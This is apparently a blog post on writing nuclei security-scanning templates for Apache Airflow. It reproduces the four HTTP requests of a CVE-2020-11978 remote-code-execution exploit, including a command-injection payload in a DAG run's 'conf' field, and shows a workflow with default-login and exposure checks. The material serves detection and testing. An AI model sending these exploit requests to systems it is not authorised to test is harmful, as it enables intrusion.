Writing security templates for Apache Airflow

Apache Airflow is an Open Source tool that allows users "programmatically author, schedule and monitor workflows". We decided to create a suite of checks for testing security of Airflow installations and document the entire process to show how easy it is to write custom nuclei templates for any piece of technology.

Environment Setup

Before we start with template creation, we need to set up an airflow instance for testing. We found this repo on GitHub with the docker-compose file to set up a local airflow instance. By default, the docker-compose presented isn't configured with a password.

wget https://raw.githubusercontent.com/pberba/CVE-2020-11978/main/docker-compose.yml
docker-compose up

Setup vulnerable apache airflow installation.

Now we have docker-compose based Apache Airflow instance running at, Starting with this tweet, we found this GitHub project by @pberba with python exploit for CVE-2020-11978.

What next? we wanted to quickly port this python exploit into nuclei template. For creating a nuclei template, all we need is HTTP requests for reproducing the bug. The easiest way to capture all the HTTP requests originating from python exploit script is to use HTTP_PROXY environment variable to proxy all the requests.

HTTP_PROXY= python CVE-2020-11978.py

This runs python exploit and capture all the HTTP request made by python script to our proxy host running at .It could be Burp proxy / proxify or any other proxy of your choice. Once we have required HTTP requests, we just need to copy-paste it in our template in raw section and configure the matchers/extractors based on the exploit and requests.

Here is how the request block of nuclei template look like -

  - raw:
      - |
        GET /api/experimental/test HTTP/1.1
        Host: {{Hostname}}
        Connection: close
        Accept-Encoding: gzip, deflate
        Accept: */*
      - |
        GET /api/experimental/dags/example_trigger_target_dag/paused/false HTTP/1.1
        Host: {{Hostname}}
        Connection: close
        Accept-Encoding: gzip, deflate
        Accept: */*
      - |
        POST /api/experimental/dags/example_trigger_target_dag/dag_runs HTTP/1.1
        Host: {{Hostname}}
        Connection: close
        Accept-Encoding: gzip, deflate
        Accept: */*
        Content-Length: 85
        Content-Type: application/json
        {"conf": {"message": "\\"; touch test #"}}
      - |
        GET /api/experimental/dags/example_trigger_target_dag/dag_runs/{{exec_date}}/tasks/bash_task HTTP/1.1
        Host: {{Hostname}}
        Connection: close
        Accept-Encoding: gzip, deflate
        Accept: */*

Nuclei template request block for CVE-2020-11978

This template consist of 4 HTTP request including {{exec_date}} dynamic value in the final request which is actually execution_date that we receive in the Response of 3rd HTTP request.

We can use extractors to get value from any HTTP request defined in the template and reuse further HTTP requests. As an example, for this exploit we used extractors to capture exec_data from 3rd HTTP Response using regex and stored in exec_date named variable which is finally used in the last request as {{exec_date}}

      - type: regex
        name: exec_date
        part: body
        group: 1
        internal: true
          - '"execution_date":"([0-9-A-Z:+]+)"'

exec_data Internal extractor for getting data from request to be reused

We also used internal: true as we wanted to use this data internally as a variable since by default extractors gets printed in CLI output.

Final and most important part of the template is defining the matcher, Nuclei results are as good as the matcher, we need to ensure we configure the unique matcher to avoid any possibility of false-positive results.

    req-condition: true
    matchers-condition: and
      - type: dsl
          - 'contains(body_4, "operator":"BashOperator")'
          - 'contains(all_headers_4, "application/json")'
        condition: and

Matcher to check if DAG was successfully added to Airflow

While writing a template including multiple HTTP requests it's better to use req-condition: true that allows us to configure matcher per specific request, for this exploit if the target is vulnerable, the response of the 4th HTTP request will have "operator":"BashOperator" string.

Here body_4, all_headers_4 trailing digits indicate the request numbers. The complete template to detect Apache Airflow <= 1.10.10 - Example Dag Remote Code Execution is thus accomplished.

Similarly, we prepared Apache Airflow detection template and a workflow to run multiple templates to assess the security of Airflow instances that includes the following checks -

Now, we can simply prepare a workflow that runs the airflow detection template, and if detected, run all the related template as defined below -


  - template: technologies/airflow-detect.yaml
      - template: cves/2020/CVE-2020-11978.yaml
      - template: cves/2020/CVE-2020-13927.yaml
      - template: exposed-panels/airflow-panel.yaml
      - template: exposures/configs/airflow-configuration-exposure.yaml
      - template: default-logins/apache/airflow-default-credentials.yaml
      - template: misconfiguration/airflow/

A workflow for Apache Airflow

nuclei -w workflows/airflow-workflow.yaml -list airflow_urls.txt

Similarly, you can prepare sets of templates for any specific technology with known issues and easily automate the security flow in the organization. You can craft a template for the specific bug class you find most so you don't have to repeat the manual steps again for any number of hosts you are testing. Write the template once and use it forever 😉

If you have created checks for Airflow / Similar Solutions and want to contribute them to the growing community of public templates, do consider making a PR or Opening an Issue in the nuclei-templates repository.

Subscribe to our newsletter and stay updated.

Don't miss anything. Get all the latest posts delivered straight to your inbox. It's free!
Great! Check your inbox and click the link to confirm your subscription.
Error! Please enter a valid email address!